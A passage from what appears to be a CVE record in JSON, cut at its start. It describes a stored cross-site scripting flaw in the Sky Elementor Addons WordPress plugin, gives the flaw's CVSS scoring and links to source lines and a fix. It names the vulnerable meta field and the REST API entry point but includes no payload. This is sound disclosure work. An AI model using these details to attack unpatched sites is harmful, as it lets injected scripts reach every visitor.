This is due to the custom post type being registered with `capability_type => 'post'` and `show_in_rest => true`, combined with insufficient input sanitization on the `sky_script_content` meta field and lack of output escaping when rendering scripts on the frontend. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts via the REST API that execute on every frontend page for all site visitors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sky-elementor-addons/tags/3.3.2/includes/custom-scripts/class-custom-scripts-data.php#L128", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sky-elementor-addons/tags/3.3.2/includes/custom-scripts/class-custom-scripts-loader.php#L270", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sky-elementor-addons/tags/3.3.3/includes/custom-scripts/class-custom-scripts-data.php#L134", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sky-elementor-addons/trunk/includes/custom-scripts/class-custom-scripts-data.php#L134", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sky-elementor-addons/trunk/includes/custom-scripts/class-custom-scripts-loader.php#L237", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3521696%40sky-elementor-addons%2Ftrunk&old=3517772%40sky-elementor-addons%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cfaa8ffd-549e-4803-aa17-d1317a606e7a?source=cve", "source": "[email protected]"}]}}
